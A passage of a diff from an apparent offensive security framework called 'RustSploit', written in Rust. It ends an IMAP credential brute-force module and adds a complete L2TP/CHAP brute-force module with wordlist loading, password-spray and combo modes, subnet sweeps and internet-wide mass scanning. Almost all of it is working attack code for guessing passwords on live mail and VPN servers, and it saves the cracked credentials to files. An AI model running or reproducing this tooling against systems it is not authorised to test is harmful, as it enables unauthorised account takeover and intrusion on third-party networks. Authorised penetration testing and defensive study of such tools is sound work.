||||
writeln!(
|
||||
file,
|
||||
"# IMAP Bruteforce Unknown/Errored Responses (host,user,pass,error)"
|
||||
)?;
|
||||
for (host, user, pass, msg) in &result.errors {
|
||||
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
|
||||
}
|
||||
file.flush()?;
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
|
||||
);
|
||||
}
|
||||
Err(e) => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[!] Could not create unknown response file '{}': {}",
|
||||
filename.display(),
|
||||
e
|
||||
)
|
||||
.red()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// IMAP Protocol Functions
|
||||
// ============================================================================
|
||||
|
||||
/// Attempt IMAP LOGIN authentication.
|
||||
/// Connects, reads the greeting banner (* OK ...), sends LOGIN command,
|
||||
/// and checks for A001 OK (success) or A001 NO (failure).
|
||||
/// Returns Ok(true) on success, Ok(false) on auth rejection, Err on connection issues.
|
||||
fn attempt_imap_login(
|
||||
target: &str,
|
||||
port: u16,
|
||||
user: &str,
|
||||
pass: &str,
|
||||
use_tls: bool,
|
||||
timeout_secs: u64,
|
||||
) -> std::result::Result<bool, ImapError> {
|
||||
let addr = format!("{}:{}", target, port);
|
||||
let timeout = Duration::from_secs(timeout_secs);
|
||||
|
||||
// IMAP LOGIN command: escape backslashes and quotes per RFC 3501 Section 9
|
||||
let escaped_user = user.replace('\\', "\\\\").replace('"', "\\\"");
|
||||
let escaped_pass = pass.replace('\\', "\\\\").replace('"', "\\\"");
|
||||
let login_cmd = format!("A001 LOGIN \"{}\" \"{}\"\r\n", escaped_user, escaped_pass);
|
||||
|
||||
if use_tls {
|
||||
let connector = TlsConnector::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.build()
|
||||
.map_err(|e| ImapError {
|
||||
error_type: ImapErrorType::TlsError,
|
||||
message: e.to_string(),
|
||||
})?;
|
||||
|
||||
let socket_addr = std::net::ToSocketAddrs::to_socket_addrs(&addr)
|
||||
.map_err(|e| ImapError::from_anyhow(e.into()))?
|
||||
.next()
|
||||
.ok_or_else(|| ImapError {
|
||||
error_type: ImapErrorType::ConnectionRefused,
|
||||
message: "Resolution failed".to_string(),
|
||||
})?;
|
||||
|
||||
let stream = crate::utils::blocking_tcp_connect(&socket_addr, timeout)
|
||||
.map_err(|e| ImapError::from_anyhow(e.into()))?;
|
||||
if let Err(e) = stream.set_nodelay(true) { crate::meprintln!("[!] Socket option error: {}", e); }
|
||||
stream.set_read_timeout(Some(timeout)).map_err(|e| ImapError::from_anyhow(e.into()))?;
|
||||
stream.set_write_timeout(Some(timeout)).map_err(|e| ImapError::from_anyhow(e.into()))?;
|
||||
|
||||
let mut stream = connector.connect(target, stream).map_err(|e| ImapError {
|
||||
error_type: ImapErrorType::TlsError,
|
||||
message: e.to_string(),
|
||||
})?;
|
||||
|
||||
// Read IMAP greeting banner
|
||||
let mut buffer = [0u8; 2048];
|
||||
let n = stream.read(&mut buffer).map_err(|e| ImapError::from_anyhow(e.into()))?;
|
||||
let banner = String::from_utf8_lossy(&buffer[..n]);
|
||||
if !banner.contains("* OK") && !banner.contains("* PREAUTH") {
|
||||
return Err(ImapError {
|
||||
error_type: ImapErrorType::ProtocolError,
|
||||
message: format!("Unexpected IMAP banner: {}", banner.trim()),
|
||||
});
|
||||
}
|
||||
|
||||
// Send LOGIN command
|
||||
stream.write_all(login_cmd.as_bytes())
|
||||
.map_err(|e| ImapError::from_anyhow(e.into()))?;
|
||||
|
||||
let n = stream.read(&mut buffer).map_err(|e| ImapError::from_anyhow(e.into()))?;
|
||||
let response = String::from_utf8_lossy(&buffer[..n]);
|
||||
|
||||
if response.contains("A001 OK") {
|
||||
// Clean logout
|
||||
if let Err(e) = stream.write_all(b"A002 LOGOUT\r\n") { crate::meprintln!("[!] IMAP LOGOUT write error: {}", e); }
|
||||
return Ok(true);
|
||||
}
|
||||
if response.contains("A001 NO") || response.contains("A001 BAD") {
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
Err(ImapError {
|
||||
error_type: ImapErrorType::ProtocolError,
|
||||
message: format!("Unexpected LOGIN response: {}", response.trim()),
|
||||
})
|
||||
} else {
|
||||
// Plaintext IMAP connection
|
||||
let socket_addr = std::net::ToSocketAddrs::to_socket_addrs(&addr)
|
||||
.map_err(|e| ImapError::from_anyhow(e.into()))?
|
||||
.next()
|
||||
.ok_or_else(|| ImapError {
|
||||
error_type: ImapErrorType::ConnectionRefused,
|
||||
message: "Resolution failed".to_string(),
|
||||
})?;
|
||||
|
||||
let mut stream = crate::utils::blocking_tcp_connect(&socket_addr, timeout)
|
||||
.map_err(|e| ImapError::from_anyhow(e.into()))?;
|
||||
if let Err(e) = stream.set_nodelay(true) { crate::meprintln!("[!] Socket option error: {}", e); }
|
||||
stream.set_read_timeout(Some(timeout)).map_err(|e| ImapError::from_anyhow(e.into()))?;
|
||||
stream.set_write_timeout(Some(timeout)).map_err(|e| ImapError::from_anyhow(e.into()))?;
|
||||
|
||||
// Read IMAP greeting banner
|
||||
let mut buffer = [0u8; 2048];
|
||||
let n = stream.read(&mut buffer).map_err(|e| ImapError::from_anyhow(e.into()))?;
|
||||
let banner = String::from_utf8_lossy(&buffer[..n]);
|
||||
if !banner.contains("* OK") && !banner.contains("* PREAUTH") {
|
||||
return Err(ImapError {
|
||||
error_type: ImapErrorType::ProtocolError,
|
||||
message: format!("Unexpected IMAP banner: {}", banner.trim()),
|
||||
});
|
||||
}
|
||||
|
||||
// Send LOGIN command
|
||||
stream.write_all(login_cmd.as_bytes())
|
||||
.map_err(|e| ImapError::from_anyhow(e.into()))?;
|
||||
|
||||
let n = stream.read(&mut buffer).map_err(|e| ImapError::from_anyhow(e.into()))?;
|
||||
let response = String::from_utf8_lossy(&buffer[..n]);
|
||||
|
||||
if response.contains("A001 OK") {
|
||||
// Clean logout
|
||||
if let Err(e) = stream.write_all(b"A002 LOGOUT\r\n") { crate::meprintln!("[!] IMAP LOGOUT write error: {}", e); }
|
||||
return Ok(true);
|
||||
}
|
||||
if response.contains("A001 NO") || response.contains("A001 BAD") {
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
Err(ImapError {
|
||||
error_type: ImapErrorType::ProtocolError,
|
||||
message: format!("Unexpected LOGIN response: {}", response.trim()),
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,838 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use std::{io::Write, net::UdpSocket, time::Duration};
|
||||
|
||||
use crate::utils::{
|
||||
generate_combos_mode, parse_combo_mode, load_credential_file,
|
||||
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
|
||||
};
|
||||
use crate::utils::{
|
||||
cfg_prompt_default, cfg_prompt_existing_file, cfg_prompt_output_file, cfg_prompt_port,
|
||||
cfg_prompt_yes_no, get_filename_in_current_dir, load_lines, normalize_target,
|
||||
};
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "L2TP Brute Force".to_string(),
|
||||
description: "Brute-force L2TP/IPsec VPN authentication via CHAP handshake. Tests credentials against L2TP concentrators with concurrent connections and subnet/mass scanning.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
const DEFAULT_L2TP_PORT: u16 = 1701;
|
||||
const DEFAULT_TIMEOUT_MS: u64 = 5000;
|
||||
|
||||
// L2TP Message Types
|
||||
const L2TP_SCCRQ: u16 = 1; // Start-Control-Connection-Request
|
||||
const L2TP_SCCRP: u16 = 2; // Start-Control-Connection-Reply
|
||||
const L2TP_SCCCN: u16 = 3; // Start-Control-Connection-Connected
|
||||
const L2TP_ICRQ: u16 = 10; // Incoming-Call-Request
|
||||
const L2TP_ICRP: u16 = 11; // Incoming-Call-Reply
|
||||
const L2TP_ICCN: u16 = 12; // Incoming-Call-Connected
|
||||
|
||||
// PPP Protocol IDs
|
||||
const PPP_CHAP: u16 = 0xC223;
|
||||
|
||||
// CHAP Codes
|
||||
const CHAP_CHALLENGE: u8 = 1;
|
||||
const CHAP_RESPONSE: u8 = 2;
|
||||
const CHAP_SUCCESS: u8 = 3;
|
||||
const CHAP_FAILURE: u8 = 4;
|
||||
|
||||
fn display_banner() {
|
||||
if crate::utils::is_batch_mode() { return; }
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╔═══════════════════════════════════════════════════════════╗".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ L2TP/PPP Brute Force Module ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ Native L2TP/CHAP Implementation ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ Tests against L2TP servers using CHAP authentication ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╚═══════════════════════════════════════════════════════════╝".cyan()
|
||||
);
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
/// L2TP Session state
|
||||
struct L2tpSession {
|
||||
sock: UdpSocket,
|
||||
local_tunnel_id: u16,
|
||||
remote_tunnel_id: u16,
|
||||
local_session_id: u16,
|
||||
remote_session_id: u16,
|
||||
ns: u16, // Next sequence to send
|
||||
nr: u16, // Next sequence expected
|
||||
}
|
||||
|
||||
impl L2tpSession {
|
||||
fn new(sock: UdpSocket) -> Self {
|
||||
Self {
|
||||
sock,
|
||||
local_tunnel_id: rand::random::<u16>() | 1,
|
||||
remote_tunnel_id: 0,
|
||||
local_session_id: rand::random::<u16>() | 1,
|
||||
remote_session_id: 0,
|
||||
ns: 0,
|
||||
nr: 0,
|
||||
}
|
||||
}
|
||||
|
||||
/// Build L2TP control message
|
||||
fn build_control(&mut self, avps: &[u8]) -> Vec<u8> {
|
||||
// Flags: T=1 (control), L=1 (length), S=1 (sequence)
|
||||
let flags: u16 = 0xC802;
|
||||
let length = 12 + avps.len() as u16;
|
||||
|
||||
let mut pkt = Vec::with_capacity(length as usize);
|
||||
pkt.extend_from_slice(&flags.to_be_bytes());
|
||||
pkt.extend_from_slice(&length.to_be_bytes());
|
||||
pkt.extend_from_slice(&self.remote_tunnel_id.to_be_bytes());
|
||||
pkt.extend_from_slice(&0u16.to_be_bytes()); // Session 0 for control
|
||||
pkt.extend_from_slice(&self.ns.to_be_bytes());
|
||||
pkt.extend_from_slice(&self.nr.to_be_bytes());
|
||||
pkt.extend_from_slice(avps);
|
||||
|
||||
self.ns = self.ns.wrapping_add(1);
|
||||
pkt
|
||||
}
|
||||
|
||||
/// Build L2TP data message
|
||||
fn build_data(&self, payload: &[u8]) -> Vec<u8> {
|
||||
let flags: u16 = 0x0002; // Data message
|
||||
|
||||
let mut pkt = Vec::with_capacity(6 + payload.len());
|
||||
pkt.extend_from_slice(&flags.to_be_bytes());
|
||||
pkt.extend_from_slice(&self.remote_tunnel_id.to_be_bytes());
|
||||
pkt.extend_from_slice(&self.remote_session_id.to_be_bytes());
|
||||
pkt.extend_from_slice(payload);
|
||||
pkt
|
||||
}
|
||||
|
||||
/// Build AVP (Attribute-Value Pair)
|
||||
fn build_avp(attr_type: u16, value: &[u8], mandatory: bool) -> Vec<u8> {
|
||||
let flags = if mandatory { 0x8000 } else { 0 } | (6 + value.len() as u16);
|
||||
let mut avp = Vec::with_capacity(6 + value.len());
|
||||
avp.extend_from_slice(&flags.to_be_bytes());
|
||||
avp.extend_from_slice(&0u16.to_be_bytes()); // Vendor ID = 0
|
||||
avp.extend_from_slice(&attr_type.to_be_bytes());
|
||||
avp.extend_from_slice(value);
|
||||
avp
|
||||
}
|
||||
|
||||
/// Send SCCRQ (Start-Control-Connection-Request)
|
||||
fn send_sccrq(&mut self) -> Result<()> {
|
||||
let mut avps = Vec::new();
|
||||
// Message Type = SCCRQ
|
||||
avps.extend(Self::build_avp(0, &L2TP_SCCRQ.to_be_bytes(), true));
|
||||
// Protocol Version = 1.0
|
||||
avps.extend(Self::build_avp(2, &[0x01, 0x00], true));
|
||||
// Host Name
|
||||
avps.extend(Self::build_avp(3, b"RustSploit-L2TP", true));
|
||||
// Assigned Tunnel ID
|
||||
avps.extend(Self::build_avp(
|
||||
9,
|
||||
&self.local_tunnel_id.to_be_bytes(),
|
||||
true,
|
||||
));
|
||||
// Receive Window Size
|
||||
avps.extend(Self::build_avp(10, &1500u16.to_be_bytes(), true));
|
||||
|
||||
let pkt = self.build_control(&avps);
|
||||
self.sock.send(&pkt)?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Send SCCCN (Start-Control-Connection-Connected)
|
||||
fn send_scccn(&mut self) -> Result<()> {
|
||||
let mut avps = Vec::new();
|
||||
avps.extend(Self::build_avp(0, &L2TP_SCCCN.to_be_bytes(), true));
|
||||
|
||||
let pkt = self.build_control(&avps);
|
||||
self.sock.send(&pkt)?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Send ICRQ (Incoming-Call-Request)
|
||||
fn send_icrq(&mut self) -> Result<()> {
|
||||
let mut avps = Vec::new();
|
||||
avps.extend(Self::build_avp(0, &L2TP_ICRQ.to_be_bytes(), true));
|
||||
avps.extend(Self::build_avp(
|
||||
14,
|
||||
&self.local_session_id.to_be_bytes(),
|
||||
true,
|
||||
));
|
||||
avps.extend(Self::build_avp(
|
||||
15,
|
||||
&rand::random::<u32>().to_be_bytes(),
|
||||
true,
|
||||
)); // Call Serial Number
|
||||
|
||||
let pkt = self.build_control(&avps);
|
||||
self.sock.send(&pkt)?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Send ICCN (Incoming-Call-Connected)
|
||||
fn send_iccn(&mut self) -> Result<()> {
|
||||
let mut avps = Vec::new();
|
||||
avps.extend(Self::build_avp(0, &L2TP_ICCN.to_be_bytes(), true));
|
||||
avps.extend(Self::build_avp(24, &1000000u32.to_be_bytes(), true)); // Tx Connect Speed
|
||||
avps.extend(Self::build_avp(19, &0u32.to_be_bytes(), true)); // Framing Type
|
||||
|
||||
let pkt = self.build_control(&avps);
|
||||
self.sock.send(&pkt)?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Send CHAP Response
|
||||
fn send_chap_response(
|
||||
&self,
|
||||
identifier: u8,
|
||||
challenge: &[u8],
|
||||
username: &str,
|
||||
password: &str,
|
||||
) -> Result<()> {
|
||||
// Compute CHAP hash: MD5(identifier + password + challenge)
|
||||
let mut data = Vec::with_capacity(1 + password.len() + challenge.len());
|
||||
data.push(identifier);
|
||||
data.extend_from_slice(password.as_bytes());
|
||||
data.extend_from_slice(challenge);
|
||||
let hash = md5::compute(&data);
|
||||
|
||||
// Build CHAP Response packet
|
||||
let name_bytes = username.as_bytes();
|
||||
let length: u16 = 4 + 1 + 16 + name_bytes.len() as u16;
|
||||
|
||||
let mut chap = Vec::new();
|
||||
chap.push(CHAP_RESPONSE);
|
||||
chap.push(identifier);
|
||||
chap.extend_from_slice(&length.to_be_bytes());
|
||||
chap.push(16); // Value size (MD5 = 16 bytes)
|
||||
chap.extend_from_slice(&hash.0);
|
||||
chap.extend_from_slice(name_bytes);
|
||||
|
||||
// Wrap in PPP frame
|
||||
let mut ppp = Vec::new();
|
||||
ppp.extend_from_slice(&[0xFF, 0x03]); // Address + Control
|
||||
ppp.extend_from_slice(&PPP_CHAP.to_be_bytes());
|
||||
ppp.extend_from_slice(&chap);
|
||||
|
||||
let pkt = self.build_data(&ppp);
|
||||
self.sock.send(&pkt)?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Receive and parse L2TP packet
|
||||
fn recv_packet(&self, timeout: Duration) -> Result<L2tpPacket> {
|
||||
self.sock.set_read_timeout(Some(timeout))?;
|
||||
|
||||
let mut buf = [0u8; 4096];
|
||||
let n = self.sock.recv(&mut buf)?;
|
||||
|
||||
if n < 6 {
|
||||
return Err(anyhow!("Packet too short"));
|
||||
}
|
||||
|
||||
let flags = u16::from_be_bytes([buf[0], buf[1]]);
|
||||
let is_control = (flags & 0x8000) != 0;
|
||||
let has_length = (flags & 0x4000) != 0;
|
||||
let has_sequence = (flags & 0x0800) != 0;
|
||||
|
||||
let mut offset = 2;
|
||||
|
||||
if has_length {
|
||||
offset += 2;
|
||||
}
|
||||
|
||||
let tunnel_id = u16::from_be_bytes([buf[offset], buf[offset + 1]]);
|
||||
offset += 2;
|
||||
let session_id = u16::from_be_bytes([buf[offset], buf[offset + 1]]);
|
||||
offset += 2;
|
||||
|
||||
if has_sequence {
|
||||
offset += 4; // Ns + Nr
|
||||
}
|
||||
|
||||
let payload = buf[offset..n].to_vec();
|
||||
|
||||
Ok(L2tpPacket {
|
||||
is_control,
|
||||
_tunnel_id: tunnel_id,
|
||||
_session_id: session_id,
|
||||
payload,
|
||||
})
|
||||
}
|
||||
|
||||
/// Parse control message type from AVPs
|
||||
fn parse_message_type(payload: &[u8]) -> Option<u16> {
|
||||
let mut offset = 0;
|
||||
while offset + 6 <= payload.len() {
|
||||
let avp_flags = u16::from_be_bytes([payload[offset], payload[offset + 1]]);
|
||||
let avp_len = (avp_flags & 0x03FF) as usize;
|
||||
|
||||
// Minimum AVP is 6 bytes (header). Zero-length = malformed, break to avoid infinite loop.
|
||||
if avp_len < 6 || offset + avp_len > payload.len() {
|
||||
break;
|
||||
}
|
||||
|
||||
let vendor_id = u16::from_be_bytes([payload[offset + 2], payload[offset + 3]]);
|
||||
let attr_type = u16::from_be_bytes([payload[offset + 4], payload[offset + 5]]);
|
||||
|
||||
if vendor_id == 0 && attr_type == 0 && avp_len >= 8 {
|
||||
return Some(u16::from_be_bytes([
|
||||
payload[offset + 6],
|
||||
payload[offset + 7],
|
||||
]));
|
||||
}
|
||||
|
||||
offset += avp_len;
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
/// Parse assigned tunnel/session ID from AVPs
|
||||
fn parse_assigned_id(payload: &[u8], attr_type: u16) -> Option<u16> {
|
||||
let mut offset = 0;
|
||||
while offset + 6 <= payload.len() {
|
||||
let avp_flags = u16::from_be_bytes([payload[offset], payload[offset + 1]]);
|
||||
let avp_len = (avp_flags & 0x03FF) as usize;
|
||||
|
||||
// Minimum AVP is 6 bytes. Zero/small length = malformed, break to avoid infinite loop.
|
||||
if avp_len < 6 || offset + avp_len > payload.len() {
|
||||
break;
|
||||
}
|
||||
|
||||
let vendor_id = u16::from_be_bytes([payload[offset + 2], payload[offset + 3]]);
|
||||
let avp_type = u16::from_be_bytes([payload[offset + 4], payload[offset + 5]]);
|
||||
|
||||
if vendor_id == 0 && avp_type == attr_type && avp_len >= 8 {
|
||||
return Some(u16::from_be_bytes([
|
||||
payload[offset + 6],
|
||||
payload[offset + 7],
|
||||
]));
|
||||
}
|
||||
|
||||
offset += avp_len;
|
||||
}
|
||||
None
|
||||
}
|
||||
}
|
||||
|
||||
struct L2tpPacket {
|
||||
is_control: bool,
|
||||
_tunnel_id: u16,
|
||||
_session_id: u16,
|
||||
payload: Vec<u8>,
|
||||
}
|
||||
|
||||
/// Main L2TP bruteforce entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
crate::mprintln!("[*] Target: {}", target);
|
||||
|
||||
// --- Mass Scan Mode ---
|
||||
if is_mass_scan_target(target) {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Target: {} — Mass Scan Mode", target).yellow()
|
||||
);
|
||||
return run_mass_scan(
|
||||
target,
|
||||
MassScanConfig {
|
||||
protocol_name: "L2TP",
|
||||
default_port: 1701,
|
||||
state_file: "l2tp_hose_state.log",
|
||||
default_output: "l2tp_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
},
|
||||
move |ip, port| {
|
||||
async move {
|
||||
// Quick UDP port check
|
||||
let sock = crate::utils::udp_bind(None).await.ok()?;
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
sock.connect(&addr).await.ok()?;
|
||||
sock.send(&[0xc8, 0x02]).await.ok()?; // L2TP SCCRQ marker
|
||||
let mut buf = [0u8; 256];
|
||||
match tokio::time::timeout(
|
||||
std::time::Duration::from_secs(3),
|
||||
sock.recv(&mut buf),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(n)) if n > 0 => {
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
Some(format!("[{}] {}:{} L2TP responsive\n", ts, ip, port))
|
||||
}
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
|
||||
// --- Subnet Scan Mode ---
|
||||
if is_subnet_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {} (Subnet Scan)", target).cyan());
|
||||
return run_l2tp_subnet_scan(target).await;
|
||||
}
|
||||
|
||||
// --- Single Target Mode ---
|
||||
let port: u16 = cfg_prompt_port("port", "L2TP Port", DEFAULT_L2TP_PORT).await?;
|
||||
|
||||
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
|
||||
let concurrency: usize = {
|
||||
let input = cfg_prompt_default("concurrency", "Max concurrent tasks", "10").await?;
|
||||
input.parse::<usize>().unwrap_or(10).max(1).min(256)
|
||||
};
|
||||
|
||||
let timeout_ms: u64 = {
|
||||
let input = cfg_prompt_default(
|
||||
"timeout_ms",
|
||||
"Connection timeout (ms)",
|
||||
&DEFAULT_TIMEOUT_MS.to_string(),
|
||||
)
|
||||
.await?;
|
||||
input
|
||||
.parse::<u64>()
|
||||
.unwrap_or(DEFAULT_TIMEOUT_MS)
|
||||
.max(100)
|
||||
.min(30000)
|
||||
};
|
||||
|
||||
let stop_on_success =
|
||||
cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
|
||||
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
|
||||
let save_path = if save_results {
|
||||
Some(cfg_prompt_output_file("output_file", "Output file", "l2tp_results.txt").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
|
||||
let normalized = normalize_target(target)?;
|
||||
|
||||
// Load wordlists
|
||||
let users = load_lines(&usernames_file)?;
|
||||
if users.is_empty() {
|
||||
return Err(anyhow!("Username wordlist is empty"));
|
||||
}
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Loaded {} usernames", users.len()).green()
|
||||
);
|
||||
|
||||
let passwords = load_lines(&passwords_file)?;
|
||||
if passwords.is_empty() {
|
||||
return Err(anyhow!("Password wordlist is empty"));
|
||||
}
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Loaded {} passwords", passwords.len()).green()
|
||||
);
|
||||
|
||||
// Test connectivity first
|
||||
let addr = format!("{}:{}", normalized, port);
|
||||
crate::mprintln!("\n[*] Testing L2TP server connectivity...");
|
||||
match test_l2tp_connectivity(&addr, Duration::from_millis(timeout_ms)).await {
|
||||
Ok(true) => crate::mprintln!("[+] L2TP server is responding"),
|
||||
Ok(false) => crate::mprintln!(
|
||||
"{}",
|
||||
"[!] L2TP server not responding to control messages".yellow()
|
||||
),
|
||||
Err(e) => crate::mprintln!(
|
||||
"{}",
|
||||
format!("[!] Connectivity test failed: {}", e).yellow()
|
||||
),
|
||||
}
|
||||
|
||||
let mut combos = generate_combos_mode(&users, &passwords, parse_combo_mode(&combo_input));
|
||||
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
combos.extend(load_credential_file(&cred_path)?);
|
||||
}
|
||||
let timeout_duration = Duration::from_millis(timeout_ms);
|
||||
|
||||
crate::mprintln!(
|
||||
"\n{}",
|
||||
format!("[*] Starting brute-force on {}", addr).cyan()
|
||||
);
|
||||
|
||||
// Build the try_login closure for the bruteforce engine.
|
||||
// L2TP is UDP-based, so the actual login runs in spawn_blocking.
|
||||
let try_login = move |t: String, p: u16, user: String, pass: String| {
|
||||
let timeout_dur = timeout_duration;
|
||||
async move {
|
||||
let login_addr = format!("{}:{}", t, p);
|
||||
match try_l2tp_login(&login_addr, &user, &pass, timeout_dur).await {
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => {
|
||||
let msg = e.to_string();
|
||||
let retryable = msg.contains("timed out")
|
||||
|| msg.contains("WouldBlock")
|
||||
|| msg.contains("Resource temporarily unavailable");
|
||||
LoginResult::Error {
|
||||
message: msg,
|
||||
retryable,
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let result = run_bruteforce(
|
||||
&BruteforceConfig {
|
||||
target: normalized,
|
||||
port,
|
||||
concurrency,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms: 0,
|
||||
max_retries: 2,
|
||||
service_name: "l2tp",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/l2tp_credcheck",
|
||||
},
|
||||
combos,
|
||||
try_login,
|
||||
)
|
||||
.await?;
|
||||
|
||||
result.print_found();
|
||||
if let Some(ref path) = save_path {
|
||||
result.save_to_file(path)?;
|
||||
}
|
||||
|
||||
// Unknown / errored attempts
|
||||
if !result.errors.is_empty() {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[?] Collected {} unknown/errored L2TP responses.",
|
||||
result.errors.len()
|
||||
)
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
if cfg_prompt_yes_no(
|
||||
"save_unknown_responses",
|
||||
"Save unknown responses to file?",
|
||||
true,
|
||||
)
|
||||
.await?
|
||||
{
|
||||
let default_name = "l2tp_unknown_responses.txt";
|
||||
let fname = cfg_prompt_output_file(
|
||||
"unknown_responses_file",
|
||||
"What should the unknown results be saved as?",
|
||||
default_name,
|
||||
)
|
||||
.await?;
|
||||
let filename = get_filename_in_current_dir(&fname);
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
let mut opts = std::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true);
|
||||
opts.mode(0o600);
|
||||
match opts.open(&filename) {
|
||||
Ok(mut file) => {
|
||||
writeln!(
|
||||
file,
|
||||
"# L2TP Bruteforce Unknown/Errored Responses (host,user,pass,error)"
|
||||
)?;
|
||||
for (host, user, pass, msg) in &result.errors {
|
||||
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
|
||||
}
|
||||
file.flush()?;
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
|
||||
);
|
||||
}
|
||||
Err(e) => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[!] Could not create unknown response file '{}': {}",
|
||||
filename.display(),
|
||||
e
|
||||
)
|
||||
.red()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Subnet scan using the engine's `run_subnet_bruteforce` with UDP support.
|
||||
async fn run_l2tp_subnet_scan(target: &str) -> Result<()> {
|
||||
let port: u16 = cfg_prompt_port("port", "L2TP Port", DEFAULT_L2TP_PORT).await?;
|
||||
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if users.is_empty() {
|
||||
return Err(anyhow!("Username wordlist is empty"));
|
||||
}
|
||||
if passes.is_empty() {
|
||||
return Err(anyhow!("Password wordlist is empty"));
|
||||
}
|
||||
|
||||
let concurrency: usize = {
|
||||
let input = cfg_prompt_default("concurrency", "Max concurrent hosts", "10").await?;
|
||||
input.parse::<usize>().unwrap_or(10).max(1).min(256)
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file(
|
||||
"output_file",
|
||||
"Output result file",
|
||||
"l2tp_subnet_results.txt",
|
||||
)
|
||||
.await?;
|
||||
|
||||
let timeout_ms: u64 = {
|
||||
let input = cfg_prompt_default(
|
||||
"timeout_ms",
|
||||
"Connection timeout (ms)",
|
||||
&DEFAULT_TIMEOUT_MS.to_string(),
|
||||
)
|
||||
.await?;
|
||||
input
|
||||
.parse::<u64>()
|
||||
.unwrap_or(DEFAULT_TIMEOUT_MS)
|
||||
.max(100)
|
||||
.min(30000)
|
||||
};
|
||||
let timeout_duration = Duration::from_millis(timeout_ms);
|
||||
|
||||
run_subnet_bruteforce(
|
||||
target,
|
||||
port,
|
||||
users,
|
||||
passes,
|
||||
&SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "l2tp",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/l2tp_credcheck",
|
||||
skip_tcp_check: true, // L2TP is UDP — no TCP pre-check
|
||||
},
|
||||
move |ip: std::net::IpAddr, port: u16, user: String, pass: String| {
|
||||
let timeout_dur = timeout_duration;
|
||||
